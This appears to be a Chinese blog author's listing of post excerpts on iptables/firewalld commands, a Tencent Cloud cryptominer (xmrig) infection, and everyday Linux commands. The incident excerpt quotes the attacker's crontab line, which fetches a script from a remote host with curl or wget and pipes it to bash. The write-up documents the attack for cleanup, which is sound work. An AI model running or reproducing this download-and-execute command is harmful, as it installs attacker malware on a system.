linux
宇1990
这个作者很懒,什么都没留下…
展开
-
防火墙iptables宇firewalld
iptables:启动:systemctl start iptablessystemctl restart iptablessystemctl status iptablesiptables -I INPUT -p tcp --dport 3306 -j ACCEPT 开发3306端口service iptables savefirewalld:systemctl status firewalldsystemctl status firewalld.servic...原创 2021-05-25 15:38:21 · 73 阅读 · 0 评论 -
记录一次腾讯云木马攻击
客户服务运行越来越慢,今天居然挂了,上服务去看free -h 发现服务器内存消耗巨大,top查看果然xmrig以及.libs进程消耗掉了大部分cpu和内存。 直接kill发现还是会继续存在于是执行crontab -l 发现30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh下载 http://w.apacheo...原创 2021-05-24 17:33:13 · 993 阅读 · 0 评论 -
常用的linux命令
1、查看进程ps -ef | grep jar2、启动Java -jar .jar &3、查看日志tail -f 4、日志查找grep -10 '11111111111115sssssssssss' dobi_order-info.log原创 2019-12-09 16:06:53 · 70 阅读 · 0 评论